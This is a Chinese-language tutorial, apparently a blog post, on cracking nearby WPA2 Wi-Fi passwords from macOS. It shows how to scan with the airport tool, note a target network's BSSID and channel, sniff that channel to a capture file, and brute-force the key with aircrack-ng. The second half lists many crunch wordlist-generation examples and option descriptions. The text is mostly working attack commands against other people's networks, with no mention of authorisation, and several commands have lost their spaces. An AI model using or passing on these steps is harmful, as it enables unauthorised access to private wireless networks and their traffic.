MacOS自带的命令获取附近Wi-Fi的详细信息
使用Airport获取附近可用Wi-Fi
MacOS自带的命令可以获取附近Wi-Fi的详细信息。首先我们需要把命令加到环境变量中:
sudo ln-s/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
然后通过source ~/.zshrc或者重新打开终端即可使用airport命令:
sudo airport-s
命令结果显示出附近可用的Wi-Fi信息,如下所示:
SSID BSSID RSSI CHANNEL HT CC SECURITY(auth/unicast/group)*********:**:**:**:**:**-50153 Y CN--WPA2(PSK/AES/AES)ChinaNet**:**:**:**:**:**-4611 N CN NONE...
其中,我们先找到我们需要破解的Wi-Fi名字,纪录下来BSSID,CHANNEL和SECURITY信息,后面会用到。BSSID就是我们目标Wi-Fi发射器的Mac地址。
开启信道监听
首先我们要获取Mac本机无线网卡名字,通过键入ifconfig分析可以得到。我本机无线网卡的名字en1,下面的命令需要替换成自己对应的无线网卡名称:
sudo airport en1 sniff 11
命令中的11就是我们在之前获取附近Wi-Fi信息所记录目标Wi-Fi的信道。如果一切顺利的话,会生成/tmp/airportSniffy*.cap文件纪录捕获的传输数据。这个文件地址也需要纪录下来,后面会用到。
安装aircrack-ng、crunch
使用brew包管理器安装就可以,也可以选择下载源码自己编译安装。
brewinstall aircrack-ngbrewinstall crunch# optional
crunch 是一个自定义字典生成器,如果有现成的字典则不需要。crunch 生成长度为8的纯数字字典并存入 dic.txt 示例如下:
crunch 8 8 0123456789-odic.txt
开始破解
由于现在的Wi-Fi基本上都是采用WPA2的加密方式,所以我们需要指定 -a 参数为2。
aircrack-ng-wdic.txt-M100-f80-1-a2-b**:**:**:**:**:**/tmp/airportSniff*.cap
参数说明:
- -w 指定字典文件
- -M 指定最大IVs,根据提示可以适当调大次参数
- -f 暴力破解因子,默认2,也可适当调大
- -a 加密类型,1:WEP, 2:WPA-PSK
- -b BSSID,刚刚纪录目标Wi-Fi的Mac地址
更多参数说明可以通过aircrack-ng --help查看。
后面紧跟之前纪录的捕获数据的存储地址即可。如果在字典里面找到的话,可以看到如下画面:
注:因为 aircrack-ng 是破解捕获数据的,所以所破解的Wi-Fi必须要有设备连接,并且有网络通信,否则无法破解。
字典生成
案例1:
crunch 1 8
#生成最小1位,最大8位,由26个小写字母为元素的所有组合
案例2:
crunch 1 6 abcdefg
#生成 最小为1,最大为6.由abcdefg为元素的所有组合
案例3:
crunch 1 6 abcdefg\
#生成 最小为1,最大为6.由abcdefg和空格为元素的所有组合(/代表空格)
案例4:
crunch 1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt
#调用密码库 charset.lst, 生成最小为1,最大为8,元素为密码库 charset.lst中 mixalpha-numeric-all-space的项目,并保存为 wordlist.txt;其中 charset.lst在kali_linux的目录为 /usr/share/crunch/charset.lst, charset.lst中 mixalpha-numeric-all-space项目包含最常见的元素组合(即大小写字母+数字+常见符号);
>想了解更多可以cat /usr/share/crunch/charset.lst 查看所有密码库
案例5:
crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog @@@ -s cbdogaaa
#调用密码库 charset.lst,生成8位密码;其中元素为 密码库 charset.lst中 mixalpha-numeric-all-space的项;格式为“两个小写字母+dog+三个小写字母”,并以cbdogaaa开始枚举(@代表小写字母)
案例6:
crunch 2 3 -f charset.lst ualpha -s BB
#调用密码库charset.lst,生成2位和3位密码;其中元素为密码库charset.lst中ualpha的项;并且以BB开头
案例7:
crunch 4 5 -p abc
#crunch将会生成abc, acb, bac, bca, cab, cba,虽然数字4和5这里没用,但必须有
案例8:
crunch 4 5 -p dog cat bird
#crunch将生成以“dog”“cat”“bird”为元素的所有密码组合:birdcatdog,birddogcat,catbirddog, catdogbird, dogbirdcat, dogcatbird
案例9:
crunch 1 5 -o START -c 6000 -z bzip2
# 生成最小为1位,最大为5位元素为所有小写字母的密码字典,其中每一个字典文件包含6000个密码,并将密码文件保存为bz2文件,文件名将以 "第一个密码" + " - " + "最后一个密码" + " .txt.bz2 " 保存(比如000-999.txt.bz2);下面是生成几种格式的压缩文件所用的时间和体积大小对比:
# time ./crunch 1 4 -o START -c 6000 -z gzip
real 0m2.729s
user 0m2.216s
sys 0m0.360s
# time ./crunch 1 4 -o START -c 6000 -z bzip2
real 0m3.414s
user 0m2.620s
sys 0m0.580s
# time ./crunch 1 4 -o START -c 6000 -z lzma
real 0m43.060s
user 0m9.965s
sys 0m32.634s
size filename
30K aaaa-aiwt.txt
12K aaaa-aiwt.txt.gz
3.8K aaaa-aiwt.txt.bz2
1.1K aaaa-aiwt.txt.lzma
案例10:
crunch 4 5 -b 20mib -o START
# 生成最小为4位,最大为5位元素为所有小写字母的密码字典,并以20M进行分割;这时会生成4个文件:aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt:其中前三个大概每个20M,最后一个10M左右(因为总共70M)
案例11:
crunch 4 4 + + 123 + -t %%@^
#生成4位密码,其中格式为“两个数字”+“一个小写字母”+“常见符号”(其中数字这里被指定只能为123组成的所有2位数字组合)。比如12f# 32j^ 13t$ ......
案例12:
crunch 3 3 abc + 123 @#! -t @%^
#生成3位密码,其中第一位由“a,b,c”中的一个;第二位为“1,2,3”中的一个;第三位为“!,@,#”中的一个。比如1a! 2a# 3b@ ......
案例13:
crunch 3 3 abc + 123 @#! -t ^%@
#生成3位密码,其中格式为“字符+数字+字母”,这里字符范围为!@# ,数字范围为 1 2 3 , 字母范围为a b c
比如!1c @3b @2a ......
案例14
crunch 5 5 -t ddd@@ -p dog cat bird
#生成5个元素组成的密码,其中前三个为 dog cat bird任意组合,后两个为两个小写字母的任意组合。比如birddogcatuz catdogbirdab birdcatdogff ......
案例15:
crunch 7 7 -t p@ss,%^ -l a@aaaaa
#生成7位密码,格式为“字符p@ss”+大写字母+数字+符号 比如p@ssZ9> ......
案例16:
crunch 5 5 -s @4#S2 -t @%^,% -e @8 Q2 -l @dddd -b 10KB -o START
#生成5位密码,格式为小写字母+数字+符号+大写字母+数字,并以 @4#S2开始,分割为10k大小。。。
案例17:
crunch 5 5 -d 2@ -t @@@%%
#生成5位密码,格式为三个字母+两个数字,并限制每个密码最少出现2种字母
案例18:
crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START
#生成10位密码,格式为三个小写字母+一个符号+四个数字+两个符号,限制每个密码至少2种字母和至少3种数字
案例19:
crunch 8 8 -d 2@
#生成8位密码,每个密码至少出现两种字母
案例20:
crunch 4 4 -f unicode_test.lst the-greeks -t @@%% -l @xdd
#调用密码库 unicode_test.lst中的 the-greeks项目字符,生成4位密码,其中格式为两小写字母+两数字,同样kali_linux中unicode_test.lst 在/usr/share/crunch目录
看了这么多案例再来看命令参数是不是有种豁然开朗的感觉!
命令参数:
-b #体积大小,比如后跟20mib
-c #密码个数(行数),比如8000
-d #限制出现相同元素的个数(至少出现元素个数),-d 3就不会出现zzf ffffgggg之类的
-e #定义停止生成密码 ,比如-e 222222:到222222停止生成密码
-f #调用密码库文件,比如/usr/share/crunch/charset.lst
-i #改变输出格式
-l #与-t搭配使用
-m #与-p搭配使用
-o #保存为
-p #定义密码元素
-q #读取字典
-r #定义从某一个地方重新开始
-s #第一个密码,从xxx开始
-t #定义输出格式
@代表小写字母
,代表大写字母
%代表数字
^代表符号
-z #打包压缩,格式支持 gzip, bzip2, lzma, 7z
========分割线========
2014-9-12 我顺便说一句,注意生成字典的大小,小心撑爆磁盘!
以单纯的8位大小写英文+数组组合,生成的txt大概是1787 TB
文章没有讲到的是crunch安装,mac下使用homebrew即可安装
brewinstallcrunch/*生成一个8位密码,包括以下片段的集合,输出到txt*/crunch88-pNancyQWERTYUIOP\~\!\@\#\$\%\^\&\*\`1234567890Shownqazxc-opassDic.txt